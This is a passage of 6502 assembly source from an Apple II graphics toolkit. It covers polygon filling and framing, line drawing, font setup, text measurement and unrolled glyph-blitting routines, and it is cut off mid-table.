cpx #1 ; set carry if >= 1
adc #0
ldx right_masks_table ; need right mask on main?
cpx #1 ; set carry if >= 1
adc #0
sta src_width_bytes ; adjusted width in chars
lda #2
sta shift_bytes
lda #0 ; Calculate starting Y-coordinate
sec ; = dbi_top - clipped_top
sbc clipped_top
clc
adc PaintBitsImpl::dbi_top
sta PaintBitsImpl::dbi_top
lda #0 ; Calculate starting X-coordinate
sec ; = dbi_left - clipped_left
sbc clipped_left
tax
lda #0
sbc clipped_left+1
tay
txa
clc
adc PaintBitsImpl::dbi_left
tax
tya
adc PaintBitsImpl::dbi_left+1
jsr DivMod7
sta src_byte_off
tya ; bit offset between src and dest
rol a
cmp #7
ldx #1
bcc :+
dex
sbc #7
: stx DHGRGetSrcbits::offset1_addr
inx
stx DHGRGetSrcbits::offset2_addr
sta bit_offset
lda src_byte_off
rol a
jsr SetSource
jsr SetDest
copy16 #bitmap_buffer, bits_addr
ldx #1
lda left_mod14
sec
sbc #7
bcc :+
sta left_mod14
dex
: stx DHGRShiftLine::offset1_addr
inx
stx DHGRShiftLine::offset2_addr
lda left_mod14
sec
sbc bit_offset
bcs :+
adc #7
inc src_width_bytes
dec shift_bytes
: tay ; check if bit shift required
bne :+
;;ldx #2*kBitsNoBitShift
.assert <kBitsNoBitShift = 0, error, "kBitsNoBitShift must be 0"
tax
beq no_bitshift
: copylohi shift_table_main_low,y, shift_table_main_high,y, DHGRShiftBits::shift_main_addr
copylohi shift_table_aux_low,y, shift_table_aux_high,y, DHGRShiftBits::shift_aux_addr
ldy shift_bytes
sty DHGRShiftBits::offset2_addr
dey
sty DHGRShiftBits::offset1_addr
ldx #2*kBitsBitShift
no_bitshift:
copy16 shift_bits_table,x, DHGRGetSrcbits::shift_bits_jmp_addr
jmp BitBlit
kBitsNoBitShift = 0
kBitsBitShift = 1
;; kBitsNoBitShift kBitsBitShift
shift_bits_table:
.addr shift_line_jmp, DHGRShiftBits
.endproc ; BitBltImpl
shift_table_aux_low := *-1
.byte <shift_1_aux,<shift_2_aux,<shift_3_aux
.byte <shift_4_aux,<shift_5_aux,<shift_6_aux
shift_table_aux_high := *-1
.byte >shift_1_aux,>shift_2_aux,>shift_3_aux
.byte >shift_4_aux,>shift_5_aux,>shift_6_aux
shift_table_main_low := *-1
.byte <shift_1_main,<shift_2_main,<shift_3_main
.byte <shift_4_main,<shift_5_main,<shift_6_main
shift_table_main_high := *-1
.byte >shift_1_main,>shift_2_main,>shift_3_main
.byte >shift_4_main,>shift_5_main,>shift_6_main
vertex_limit := $B3
vertices_count := $B4
poly_oper := $BA ; positive = paint; negative = test
start_index := $AE
poly_oper_paint := $00
poly_oper_test := $80
.proc LoadPoly
point_index := $82
low_point := $A7
kMaxPolyPoints = 60
stx $B0
asl a
asl a ; # of vertices * 4 = length
sta vertex_limit
;; Initialize rect to first point of polygon.
ldy #3 ; Copy params_addr... to $92... and $96...
: lda (params_addr),y
sta left,y
sta right,y
dey
bpl :-
copy16 top, low_point ; y coord
iny
stx start_index
loop: stx point_index
lda (params_addr),y
sta poly_xl_buffer,x
pha
iny
lda (params_addr),y
sta poly_xh_buffer,x
tax
pla
iny
cpx left+1
bmi :+
bne in_left
cmp left
bcs in_left
: stax left
bcc in_right
in_left:
cpx right+1
bmi in_right
bne :+
cmp right
bcc in_right
: stax right
in_right:
ldx point_index
lda (params_addr),y
sta poly_yl_buffer,x
pha
iny
lda (params_addr),y
sta poly_yh_buffer,x
tax
pla
iny
cpx top+1
bmi :+
bne in_top
cmp top
bcs in_top
: stax top
bcc in_bottom
in_top: cpx bottom+1
bmi in_bottom
bne :+
cmp bottom
bcc in_bottom
: stax bottom
in_bottom:
cpx low_point+1
stx low_point+1
bmi set_low_point
bne :+
cmp low_point
bcc set_low_point
beq set_low_point
: ldx point_index
stx start_index
set_low_point:
sta low_point
ldx point_index
inx
cpx #kMaxPolyPoints
beq bad_poly
cpy vertex_limit
bcc loop
lda top
cmp bottom
bne :+
lda top+1
cmp bottom+1
beq bad_poly
: stx vertex_limit
bit poly_oper
bpl :+
sec
rts
: jmp ClipRect
.endproc ; LoadPoly
.proc NextPoly
lda vertices_count
bpl orts
asl a
asl a
adc params_addr
sta params_addr
bcc ora_2_param_bytes
inc params_addr+1
FALL_THROUGH_TO ora_2_param_bytes
.endproc ; NextPoly
;; ORAs together first two bytes at (params_addr) and stores
;; in $B4, then advances params_addr
ora_2_param_bytes:
ldy #0
lda (params_addr),y
iny
ora (params_addr),y
sta vertices_count
inc16 params_addr
inc16 params_addr
ldy #$80
orts: rts
;;; ============================================================
;;; InPoly
InPolyImpl:
lda #poly_oper_test
bne PaintPolyImpl_entry2
;;; ============================================================
;;; PaintPoly
;; also called from the end of LineToImpl
num_maxima := $AD
kMaxNumMaxima = 8
low_vertex := $B0
.proc PaintPolyImpl
lda #poly_oper_paint
entry2: sta poly_oper
ldx #0
stx num_maxima
jsr ora_2_param_bytes
loop: jsr LoadPoly
bcs ProcessPoly
ldx low_vertex
next: jsr NextPoly
bmi loop
jmp FillPolys
bad_poly:
EXIT_CALL MGTK::Error::bad_object
.endproc ; PaintPolyImpl
temp_yh := $83
next_vertex := $AA
current_vertex := $AC
loop_ctr := $AF
.proc ProcessPoly
ldy #1
sty loop_ctr ; do 2 iterations of the following loop
ldy start_index ; starting vertex
cpy low_vertex ; lowest vertex
bne :+
ldy vertex_limit ; highest vertex
: dey
sty $AB ; one before starting vertex
php
loop: sty current_vertex ; current vertex
iny
cpy vertex_limit
bne :+
ldy low_vertex
: sty next_vertex ; next vertex
cpy start_index ; have we come around complete circle?
bne :+
dec loop_ctr ; this completes one loop
: lda poly_yl_buffer,y
ldx poly_yh_buffer,y
stx temp_yh
vloop: sty $A9 ; starting from next vertex, search ahead
iny ; for a subsequent vertex with differing y
cpy vertex_limit
bne :+
ldy low_vertex
:
cmp poly_yl_buffer,y
bne :+
ldx poly_yh_buffer,y
cpx temp_yh
beq vloop
: ldx $AB ; find y difference with current vertex
sec
sbc poly_yl_buffer,x
lda temp_yh
sbc poly_yh_buffer,x
bmi y_less
lda $A9 ; vertex before new vertex
plp ; check maxima flag
bmi new_maxima ; if set, go create new maxima
tay
sta poly_vertex_prev_link,x ; link current vertex -> vertex before new vertex
lda next_vertex
sta poly_vertex_next_link,x ; link current vertex -> next vertex
bpl next
new_maxima:
ldx num_maxima
cpx #2*kMaxNumMaxima ; too many maxima points (documented limitation)
bcs bad_poly
sta poly_maxima_prev_vertex,x ; vertex before new vertex
lda next_vertex
sta poly_maxima_next_vertex,x ; current vertex
ldy $AB
lda poly_vertex_prev_link,y
sta poly_maxima_prev_vertex+1,x
lda poly_vertex_next_link,y
sta poly_maxima_next_vertex+1,x
lda poly_yl_buffer,y
sta poly_maxima_yl_table,x
sta poly_maxima_yl_table+1,x
lda poly_yh_buffer,y
sta poly_maxima_yh_table,x
sta poly_maxima_yh_table+1,x
lda poly_xl_buffer,y
sta poly_maxima_xl_table+1,x
lda poly_xh_buffer,y
sta poly_maxima_xh_table+1,x
ldy current_vertex
lda poly_xl_buffer,y
sta poly_maxima_xl_table,x
lda poly_xh_buffer,y
sta poly_maxima_xh_table,x
inx
inx
stx num_maxima
ldy $A9
bpl next
y_less: plp ; check maxima flag
bmi :+
lda #$80
sta poly_vertex_prev_link,x ; link current vertex -> #$80
: ldy next_vertex
txa
sta poly_vertex_prev_link,y ; link next vertex -> current vertex
lda current_vertex
sta poly_vertex_next_link,y
lda #$80 ; set negative flag so next iteration captures a maxima
next: php
sty $AB
ldy $A9
bit loop_ctr
bmi :+
jmp loop
: plp
ldx vertex_limit
jmp PaintPolyImpl::next
.endproc ; ProcessPoly
scan_y := $A9
lr_flag := $AB
start_maxima := $B1
.proc FillPolys
ldx #0
stx start_maxima
lda #$80
sta poly_maxima_links
sta $B2
loop: inx
cpx num_maxima
bcc :+
beq links_done
rts
: lda start_maxima
next_link:
tay
lda poly_maxima_yl_table,x
cmp poly_maxima_yl_table,y
bcs x_ge_y
tya ; poly_maxima_y[xReg] < poly_maxima_y[yReg]
sta poly_maxima_links,x ; then xReg linked to yReg
cpy start_maxima
beq :+ ; if yReg was the start, set the start to xReg
ldy $82
txa
sta poly_maxima_links,y ; else $82 linked to xReg
jmp loop
: stx start_maxima ; set start to xReg
bcs loop ; always
x_ge_y: sty $82 ; poly_maxima_y[xReg] >= poly_maxima_y[yReg]
lda poly_maxima_links,y
bpl next_link ; if yReg was the end
sta poly_maxima_links,x ; then set xReg as end
txa
sta poly_maxima_links,y ; and link yReg to xReg
bpl loop ; always
links_done:
ldx start_maxima
lda poly_maxima_yl_table,x
sta scan_y
sta top
lda poly_maxima_yh_table,x
sta scan_y+1
sta top+1
scan_loop:
ldx start_maxima
bmi L5534
scan_next:
lda poly_maxima_yl_table,x
cmp scan_y
bne L5532
lda poly_maxima_yh_table,x
cmp scan_y+1
bne L5532
lda poly_maxima_links,x
sta $82
jsr CalcSlope
lda $B2
bmi L5517
L54E0: tay
lda poly_maxima_xh_table,x
cmp poly_maxima_xh_table,y
bmi L5520
bne :+
lda poly_maxima_xl_table,x
cmp poly_maxima_xl_table,y
bcc L5520
bne :+
lda poly_maxima_x_frach,x
cmp poly_maxima_x_frach,y
bcc L5520
bne :+
lda poly_maxima_x_fracl,x
cmp poly_maxima_x_fracl,y
bcc L5520
: sty $83
lda poly_maxima_links,y
bpl L54E0
sta poly_maxima_links,x
txa
sta poly_maxima_links,y
bpl L552E
L5517: sta poly_maxima_links,x
stx $B2
jmp L552E
done: rts
L5520: tya
cpy $B2
beq L5517
sta poly_maxima_links,x
txa
ldy $83
sta poly_maxima_links,y
L552E: ldx $82
bpl scan_next
L5532: stx $B1
L5534: lda #0
sta lr_flag
lda $B2
sta $83
bmi done
scan_loop2:
tax
lda scan_y
cmp poly_maxima_yl_table,x
bne scan_point
lda scan_y+1
cmp poly_maxima_yh_table,x
bne scan_point
ldy poly_maxima_prev_vertex,x
lda poly_vertex_prev_link,y
bpl shift_point
cpx $B2
beq :+
ldy $83
lda poly_maxima_links,x
sta poly_maxima_links,y
jmp scan_next_link
: lda poly_maxima_links,x
sta $B2
jmp scan_next_link
shift_point:
sta poly_maxima_prev_vertex,x
lda poly_xl_buffer,y
sta poly_maxima_xl_table,x
lda poly_xh_buffer,y
sta poly_maxima_xh_table,x
lda poly_vertex_next_link,y
sta poly_maxima_next_vertex,x
jsr CalcSlope
scan_point:
stx current_vertex
ldy poly_maxima_xh_table,x
lda poly_maxima_xl_table,x
tax
lda lr_flag ; alternate flag left/right
eor #$FF
sta lr_flag
bpl :+
stx left
sty left+1
bmi skip_rect
: stx right
sty right+1
cpy left+1
bmi :+
bne no_swap_lr
cpx left
bcs no_swap_lr
: lda left
stx left
sta right
lda left+1
sty left+1
sta right+1
no_swap_lr:
lda scan_y
sta top
sta bottom
lda scan_y+1
sta top+1
sta bottom+1
bit poly_oper
bpl DoPaint
jsr InRectImpl
jmp skip_rect
DoPaint:
jsr PaintRectImpl::DoPaint
skip_rect:
ldx current_vertex
lda poly_maxima_x_fracl,x
clc
adc poly_maxima_slope0,x
sta poly_maxima_x_fracl,x
lda poly_maxima_x_frach,x
adc poly_maxima_slope1,x
sta poly_maxima_x_frach,x
lda poly_maxima_xl_table,x
adc poly_maxima_slope2,x
sta poly_maxima_xl_table,x
lda poly_maxima_xh_table,x
adc poly_maxima_slope3,x
sta poly_maxima_xh_table,x
lda poly_maxima_links,x
scan_next_link:
bmi :+
jmp scan_loop2
: inc16 scan_y
jmp scan_loop
.endproc ; FillPolys
.proc CalcSlope
index := $84
ldy poly_maxima_next_vertex,x
lda poly_yl_buffer,y
sta poly_maxima_yl_table,x
sec
sbc scan_y
sta <fixed_div_divisor
lda poly_yh_buffer,y
sta poly_maxima_yh_table,x
sbc scan_y+1
sta <fixed_div_divisor+1
lda poly_xl_buffer,y
sec
sbc poly_maxima_xl_table,x
sta <fixed_div_dividend
lda poly_xh_buffer,y
sbc poly_maxima_xh_table,x
sta <fixed_div_dividend+1
php
bpl :+
sub16 #0, fixed_div_dividend, fixed_div_dividend
: stx index
jsr fixed_div2
ldx index
plp
bpl :+
sub16 #0, fixed_div_quotient, fixed_div_quotient
lda #0
sbc fixed_div_quotient+2
sta fixed_div_quotient+2
lda #0
sbc fixed_div_quotient+3
sta fixed_div_quotient+3
: lda fixed_div_quotient+3
sta poly_maxima_slope3,x
cmp #$80
ror a
pha
lda fixed_div_quotient+2
sta poly_maxima_slope2,x
ror a
pha
lda fixed_div_quotient+1
sta poly_maxima_slope1,x
ror a
pha
lda fixed_div_quotient
sta poly_maxima_slope0,x
ror a
sta poly_maxima_x_fracl,x
pla
clc
adc #$80
sta poly_maxima_x_frach,x
pla
adc poly_maxima_xl_table,x
sta poly_maxima_xl_table,x
pla
adc poly_maxima_xh_table,x
sta poly_maxima_xh_table,x
rts
.endproc ; CalcSlope
PaintPolyImpl_entry2 := PaintPolyImpl::entry2
bad_poly := PaintPolyImpl::bad_poly
.proc FixedDiv
dividend := $A1 ; 16.0 format
divisor := $A3 ; 16.0 format
quotient := $9F ; 16.16 format
temp := $A5
lda dividend+1
entry2: ora dividend
bne :+
sta quotient
sta quotient+1
sta dividend
sta dividend+1
beq done ; always
: ldy #32
lda #0
sta quotient
sta quotient+1
sta temp
sta temp+1
loop: asl quotient
rol quotient+1
rol dividend
rol dividend+1
rol temp
rol temp+1
lda temp
sec
sbc divisor
tax
lda temp+1
sbc divisor+1
bcc :+
stx temp
sta temp+1
inc quotient
:
dey
bne loop
done: rts
.endproc ; FixedDiv
fixed_div2 := FixedDiv::entry2
;;; ============================================================
;;; FramePoly
.proc FramePolyImpl
lda #0
sta poly_oper
jsr ora_2_param_bytes
ptr := $B7
draw_line_params := $92
poly_loop:
copy16 params_addr, ptr
lda vertices_count ; ORAd param bytes
sta $B6
ldx #0
jsr LoadPoly
bcc next
lda $B3
sta $B5 ; loop counter
;; Loop for drawing
ldy #0
loop: ldx #0
dec $B5
beq endloop
sty $B9
: lda (ptr),y
sta draw_line_params,x
iny
inx
cpx #8
bne :-
jsr DRAW_LINE_ABS_IMPL_do_draw_line
lda $B9
clc
adc #4
tay
bne loop
tax
endloop:
;; Draw from last point back to start
: lda (ptr),y
sta draw_line_params,x
iny
inx
cpx #4
bne :-
ldy #3
: lda (ptr),y
sta draw_line_params+4,y
sta current_penloc,y
dey
bpl :-
jsr DRAW_LINE_ABS_IMPL_do_draw_line
;; Handle multiple segments, e.g. when drawing outlines for multi icons?
next: ldx #1
: lda ptr,x
sta $80,x
lda $B5,x
sta $B3,x
dex
bpl :-
jsr NextPoly ; Advance to next polygon in list
bmi poly_loop
rts
.endproc ; FramePolyImpl
;;; ============================================================
;;; Move
;;; 4 bytes of params, copied to $A1
.proc MoveImpl
xdelta := $A1
ydelta := $A3
ldax xdelta
jsr AdjustXPos
lda ydelta
clc
adc current_penloc_y
sta current_penloc_y
lda ydelta+1
adc current_penloc_y+1
sta current_penloc_y+1
rts
.endproc ; MoveImpl
;; Adjust current_penloc_x by (X,A)
.proc AdjustXPos
clc
adc current_penloc_x
sta current_penloc_x
txa
adc current_penloc_x+1
sta current_penloc_x+1
rts
.endproc ; AdjustXPos
;;; ============================================================
;;; LineImpl
;;; 4 bytes of params, copied to $A1
.proc LineImpl
xdelta := $A1
ydelta := $A2
ldx #2 ; Convert relative x/y to absolute x/y at $92,$94
loop: add16 xdelta,x, current_penloc_x,x, $92,x
dex
dex
bpl loop
FALL_THROUGH_TO LineToImpl
.endproc ; LineImpl
;;; ============================================================
;;; LineTo
;;; 4 bytes of params, copied to $92
.proc LineToImpl
params := $92
pt1 := $92
x1 := pt1
y1 := pt1+2
pt2 := $96
x2 := pt2
y2 := pt2+2
loop_ctr := $82
temp_pt := $83
ldx #3
: lda current_penloc,x ; move pos to $96, assign params to pos
sta pt2,x
lda pt1,x
sta current_penloc,x
dex
bpl :-
;; Called from elsewhere; draw $92,$94 to $96,$98; values modified
do_draw_line:
lda y2+1
cmp y1+1
bmi swap_start_end
bne L57BF
lda y2
cmp y1
bcc swap_start_end
bne L57BF
;; y1 == y2
lda x1
ldx x1+1
cpx x2+1
bmi draw_line_jmp
bne :+
cmp x2
bcc draw_line_jmp
: ldy x2 ; swap so x1 < x2
sta x2
sty x1
ldy x2+1
stx x2+1
sty x1+1
draw_line_jmp:
jmp DrawLine
swap_start_end:
ldx #3 ; Swap start/end
: ldy pt1,x
lda pt2,x
sta pt1,x
tya
sta pt2,x
dex
bpl :-
L57BF: ldx current_penwidth
dex
stx $A2
lda current_penheight
sta $A4
lda #0
sta $A1
sta $A3
lda x1
ldx x1+1
cpx x2+1
bmi L57E9
bne L57E1
cmp x2
bcc L57E9
bne L57E1
jmp DrawLine
L57E1: lda $A1
ldx $A2
sta $A2
stx $A1
L57E9: ldy #5 ; do 6 points
loop: sty loop_ctr
ldx pt_offsets,y ; offset into the pt1,pt2 structure
ldy #3
: lda pt1,x
sta temp_pt,y
dex
dey
bpl :-
ldy loop_ctr
ldx penwidth_flags,y ; when =1, will add the current_penwidth
lda $A1,x
clc
adc temp_pt
sta temp_pt
bcc :+
inc temp_pt+1
:
ldx penheight_flags,y ; when =2, will add the current_penheight
lda $A3,x
clc
adc temp_pt+2
sta temp_pt+2
bcc :+
inc temp_pt+3
:
tya
asl a
asl a
tay
ldx #0
: lda temp_pt,x
sta paint_poly_points,y
iny
inx
cpx #4
bne :-
ldy loop_ctr
dey
bpl loop
copy16 paint_poly_params_addr, params_addr
jmp PaintPolyImpl
paint_poly_params_addr:
.addr paint_poly_params
;; Points 0 1 2 3 4 5
pt_offsets:
.byte 3, 3, 7, 7, 7, 3
penwidth_flags:
.byte 0, 0, 0, 1, 1, 1
penheight_flags:
.byte 0, 1, 1, 1, 0, 0
;; params for a PaintPoly call
paint_poly_params:
.byte 6 ; number of points
.byte 0
paint_poly_points:
.res 4*6 ; points
.endproc ; LineToImpl
DRAW_LINE_ABS_IMPL_do_draw_line := LineToImpl::do_draw_line
;;; ============================================================
;;; SetFont
.define kMaxFontHeight 16
.proc SetFontImpl
copy16 params_addr, current_textfont ; set font to passed address
;; Compute addresses of each row of the glyphs.
prepare_font:
ldy #0 ; copy first 3 bytes of font defn (type, lastchar, height) to $FD-$FF
: lda (current_textfont),y
sta $FD,y
iny
cpy #3
bne :-
cmp #kMaxFontHeight+1 ; if height >= 17, skip this next bit
bcs end
ldax current_textfont
addax8 #3
stax glyph_widths ; set $FB/$FC to start of widths
sec
adc glyph_last
bcc :+
inx
: ldy #0 ; loop 0... height-1
loop: sta glyph_row_lo,y
pha
txa
sta glyph_row_hi,y
pla
sec
adc glyph_last
bcc :+
inx
: bit glyph_type ; ($80 = double width, so double the offset)
bpl :+
sec
adc glyph_last
bcc :+
inx
: iny
cpy glyph_height_p
bne loop
rts
end: EXIT_CALL MGTK::Error::font_too_big
.endproc ; SetFontImpl
glyph_row_lo:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
glyph_row_hi:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
;;; ============================================================
;;; TextWidth
;;; 3 bytes of params, copied to $A1
.proc TextWidthImpl
jsr MeasureText
ldy #3 ; Store result (X,A) at params+3
sta (params_addr),y
txa
iny
sta (params_addr),y
rts
.endproc ; TextWidthImpl
;; Call with data at ($A1), length in $A3, result in (X,A)
.proc MeasureText
data := $A1
length := $A3
accum := $82
ldx #0
ldy #0
sty accum
loop: sty accum+1
lda (data),y
tay
txa
clc
adc (glyph_widths),y
bcc :+
inc accum
: tax
ldy accum+1
iny
cpy length
bne loop
txa
ldx accum
rts
.endproc ; MeasureText
;;; ============================================================
;; Turn the current penloc into left, right, top, and bottom.
;;
;; Inputs:
;; A = width
;; $FF = height
;;
.proc PenlocToBounds
subax8 #1
clc
adc current_penloc_x
sta right
txa
adc current_penloc_x+1
sta right+1
copy16 current_penloc_x, left
lda current_penloc_y
sta bottom
ldx current_penloc_y+1
stx bottom+1
addax8 #1
subax8 glyph_height_p
stax top
rts
.endproc ; PenlocToBounds
;;; ============================================================
;;; 3 bytes of params, copied to $A1
.proc DrawTextImpl
text_bits_buf := $00
vid_addrs_table := $20
shift_aux_ptr := $40
shift_main_ptr := $42
blit_mask := $80
doublewidth_flag := $81
remaining_width := $9A
vid_page := $9C
text_index := $9F
text_addr := $A1 ; param
text_len := $A3 ; param
text_width := $A4 ; computed
jsr maybe_unstash_low_zp
jsr MeasureText
stax text_width
ldy #0
sty text_index
sty $A0
sty clipped_left
sty clipped_top
jsr PenlocToBounds
jsr ClipRect
bcc text_clipped
tya
ror a
bcc no_left_clip
ldy #0
ldx vid_page
left_clip_loop:
sty text_index
lda (text_addr),y
tay
lda (glyph_widths),y
clc
adc clipped_left ; exit loop when first partially or
bcc :+ ; fully visible glyph is found
inx
beq no_left_clip
: sta clipped_left
ldy text_index
iny
bne left_clip_loop
no_left_clip:
jsr SetUpFillMode
jsr SetDest
lda left_mod14
clc
adc clipped_left
bpl :+
;; Fix for https://github.com/a2stuff/a2d/issues/505
;; Left clipping of a glyph needed, so need to inc `width_bytes`.
;; But don't want to double this, so defer the inc until later.
;; $A0 is used as a flag.
dec $A0
adc #14
: sta left_mod14
lda width_bytes
inc width_bytes
ldy current_mapwidth
bpl text_clip_ndbm
;; For an on-screen destination, width_bytes is set up for the
;; pattern blitter, which thinks in terms of double (main & aux)
;; transfers. We actually want single transfers here, so we need to
;; double it and restore the carry.
asl a
tax
lda left_mod14
cmp #7
bcs :+
inx
: lda right
beq :+
inx
: stx width_bytes
text_clip_ndbm:
;; If we identified a left clip above, increase `width_bytes` now that
;; we're past the potential doubling.
bit $A0
bpl :+
inc width_bytes
:
lda left_mod14
sec
sbc #7
bcc :+
sta left_mod14
:
lda #0
rol a ; if left_mod14 was >= 7, then A=1 else A=0
eor #1 ; if left_mod14 <7, then A=1 (aux) else A=0 (main)
sta vid_page
tax
sta LOWSCR,x ; set starting page
jsr do_draw
sta LOWSCR
text_clipped:
jsr maybe_stash_low_zp
ldax text_width
jmp AdjustXPos
do_draw:
lda bottom
sec
sbc top
tax
;; Calculate offsets to the draw and blit routines so that they draw
;; the exact number of needed lines.
lda shifted_draw_line_table_low,x
sta shifted_draw_jmp_addr
lda shifted_draw_line_table_high,x
sta shifted_draw_jmp_addr+1
lda unshifted_draw_line_table_low,x
sta unshifted_draw_jmp_addr
lda unshifted_draw_line_table_high,x
sta unshifted_draw_jmp_addr+1
lda unmasked_blit_line_table_low,x
sta unmasked_blit_jmp_addr
lda unmasked_blit_line_table_high,x
sta unmasked_blit_jmp_addr+1
lda masked_blit_line_table_low,x
sta masked_blit_jmp_addr
lda masked_blit_line_table_high,x
sta masked_blit_jmp_addr+1
sec
stx $80
stx $81
lda #0
sbc clipped_top
sta clipped_top
tay
ldx #(kMaxFontHeight-1)*shifted_draw_line_size
sec
: lda glyph_row_lo,y
sta shifted_draw_linemax+1,x
lda glyph_row_hi,y
sta shifted_draw_linemax+2,x
txa
sbc #shifted_draw_line_size
tax
iny
dec $80
bpl :-
ldy clipped_top
ldx #(kMaxFontHeight-1)*unshifted_draw_line_size
sec
: lda glyph_row_lo,y
sta unshifted_draw_linemax+1,x
lda glyph_row_hi,y
sta unshifted_draw_linemax+2,x
txa
sbc #unshifted_draw_line_size
tax
iny
dec $81
bpl :-
ldy top
ldx #0
;; Populate the pointers in vid_addrs_table for the lines we are
;; going to be drawing to.
text_dest_loop:
bit current_mapwidth
bmi text_dest_dhgr
lda vid_addr
clc
adc current_mapwidth
sta vid_addr
sta vid_addrs_table,x
lda vid_addr+1
adc #0
sta vid_addr+1
sta vid_addrs_table+1,x
bne text_dest_next
text_dest_dhgr:
lda hires_table_lo,y
clc
adc left_bytes
sta vid_addrs_table,x
lda hires_table_hi,y
ora current_mapbits+1
sta vid_addrs_table+1,x
text_dest_next:
cpy bottom
beq :+
iny
inx
inx
bne text_dest_loop
:
ldx #15
lda #0
: sta text_bits_buf,x
dex
bpl :-
sta doublewidth_flag
sta shift_aux_ptr ; zero
lda #$80
sta shift_main_ptr
ldy text_index
next_glyph:
lda (text_addr),y
tay
bit doublewidth_flag
bpl :+
sec
adc glyph_last
:
tax
lda (glyph_widths),y
beq zero_width_glyph
ldy left_mod14
bne shifted_draw
;; Transfer one column of one glyph into the text_bits_buf[0..15]
unshifted_draw_jmp_addr := *+1
jmp unshifted_draw_linemax ; patched to jump into following block
;; Unrolled loop from kMaxFontHeight-1 down to 0
unshifted_draw_linemax:
.repeat kMaxFontHeight, line
.ident (.sprintf ("unshifted_draw_line_%d", kMaxFontHeight-line-1)):
: lda $FFFF,x
sta text_bits_buf+kMaxFontHeight-line-1
.ifndef unshifted_draw_line_size
unshifted_draw_line_size := * - :-
.else
.assert unshifted_draw_line_size = * - :-, error, "unshifted_draw_line_size inconsistent"
.endif
.endrepeat
zero_width_glyph:
jmp do_blit
;; Transfer one column of one glyph, shifting it into
;; text_bits_buf[0..15] and text_bits_buf[16..31] by left_mod14 bits.
shifted_draw:
copylohi shift_table_aux_low,y, shift_table_aux_high,y, shift_aux_ptr
copylohi shift_table_main_low,y, shift_table_main_high,y, shift_main_ptr
shifted_draw_jmp_addr := *+1
jmp shifted_draw_linemax ; patched to jump into following block
;; Unrolled loop from kMaxFontHeight-1 down to 0
shifted_draw_linemax:
.repeat kMaxFontHeight, line
.ident (.sprintf ("shifted_draw_line_%d", kMaxFontHeight-line-1)):
: ldy $FFFF,x ; All of these $FFFFs are modified
lda (shift_main_ptr),y
sta text_bits_buf+16+kMaxFontHeight-line-1
lda (shift_aux_ptr),y
ora text_bits_buf+kMaxFontHeight-line-1
sta text_bits_buf+kMaxFontHeight-line-1
.ifndef shifted_draw_line_size
shifted_draw_line_size := * - :-
.else
.assert shifted_draw_line_size = * - :-, error, "shifted_draw_line_size inconsistent"
.endif
.endrepeat
do_blit:
bit doublewidth_flag
bpl :+
inc text_index ; completed a double-width glyph
lda #0
sta doublewidth_flag
lda remaining_width
bne advance_x ; always
: txa
tay
lda (glyph_widths),y
cmp #8
bcs :+
inc text_index ; completed a single-width glyph
bcc advance_x
: sbc #7
sta remaining_width
ror doublewidth_flag ; will set to negative
lda #7 ; did the first 7 pixels of a
; double-width glyph
advance_x:
clc
adc left_mod14
cmp #7
bcs advance_byte
sta left_mod14
L5BFF: ldy text_index
cpy text_len
beq :+
jmp next_glyph
: ldy $A0
jmp_last_blit:
jmp last_blit
advance_byte:
sbc #7
sta left_mod14
ldy $A0
bne :+
jmp first_blit
: bmi next_byte
dec width_bytes
beq jmp_last_blit
unmasked_blit:
unmasked_blit_jmp_addr := *+1
jmp unmasked_blit_linemax ; patched to jump into block below
;;; Per JB: "looks like the quickdraw fast-path draw unclipped pattern slab"
;; Unrolled loop from kMaxFontHeight-1 down to 0
unmasked_blit_linemax:
.repeat kMaxFontHeight, line
.ident (.sprintf ("unmasked_blit_line_%d", kMaxFontHeight-line-1)):
: lda text_bits_buf+kMaxFontHeight-line-1
eor current_textback
sta (vid_addrs_table + 2*(kMaxFontHeight-line-1)),y
.ifndef unmasked_blit_line_size
unmasked_blit_line_size := * - :-
.else
.assert unmasked_blit_line_size = * - :-, error, "unmasked_blit_line_size inconsistent"
.endif
.endrepeat
next_byte:
bit current_mapwidth
bpl text_ndbm
lda vid_page
eor #1
tax
sta vid_page
sta LOWSCR,x
beq :+
text_ndbm:
inc $A0
:
COPY_BYTES 16, text_bits_buf+16, text_bits_buf
jmp L5BFF
;; This is the first (left-most) blit, so it needs masks. If this is
;; also the last blit, apply the right mask as well.
first_blit:
ldx vid_page
lda left_masks_table,x
dec width_bytes
beq single_byte_blit
jsr masked_blit
jmp next_byte
single_byte_blit: ; a single byte length blit; i.e. start
and right_masks_table,x ; and end bytes are the same
bne masked_blit
rts
;; This is the last (right-most) blit, so we have to set up masking.
last_blit:
ldx vid_page
lda right_masks_table,x
masked_blit:
ora #$80
sta blit_mask
masked_blit_jmp_addr := *+1
jmp masked_blit_linemax
;;; Per JB: "looks like the quickdraw slow-path draw clipped pattern slab"
;; Unrolled loop from kMaxFontHeight-1 down to 0
masked_blit_linemax:
.repeat kMaxFontHeight, line
.ident (.sprintf ("masked_blit_line_%d", kMaxFontHeight-line-1)):
: lda text_bits_buf+kMaxFontHeight-line-1
eor current_textback
eor (vid_addrs_table + 2*(kMaxFontHeight-line-1)),y
and blit_mask
eor (vid_addrs_table + 2*(kMaxFontHeight-line-1)),y
sta (vid_addrs_table + 2*(kMaxFontHeight-line-1)),y
.ifndef masked_blit_line_size
masked_blit_line_size := * - :-
.else
.assert masked_blit_line_size = * - :-, error, "masked_blit_line_size inconsistent"
.endif
.endrepeat
rts
shifted_draw_line_table_low:
.repeat kMaxFontHeight, line
.byte <.ident (.sprintf ("shifted_draw_line_%d", line))
.endrepeat
shifted_draw_line_table_high:
.repeat kMaxFontHeight, line
.byte >.ident (.sprintf ("shifted_draw_line_%d", line))
.endrepeat
unshifted_draw_line_table_low:
.repeat kMaxFontHeight, line
.byte <.ident (.sprintf ("unshifted_draw_line_%d", line))
.endrepeat
unshifted_draw_line_table_high:
.repeat kMaxFontHeight, line
.byte >.ident (.sprintf ("unshifted_draw_line_%d", line))
.endrepeat
unmasked_blit_line_table_low:
.repeat kMaxFontHeight, line
.byte <.ident (.sprintf ("unmasked_blit_line_%d", line))
.endrepeat
unmasked_blit_line_table_high:
.repeat kMaxFontHeight, line
.byte >.ident (.sprintf ("unmasked_blit_line_%d", line))
.endrepeat
masked_blit_line_table_low:
.repeat kMaxFontHeight, line
.byte <.ident (.sprintf ("masked_blit_line_%d", line))
.endrepeat
masked_blit_line_table_high:
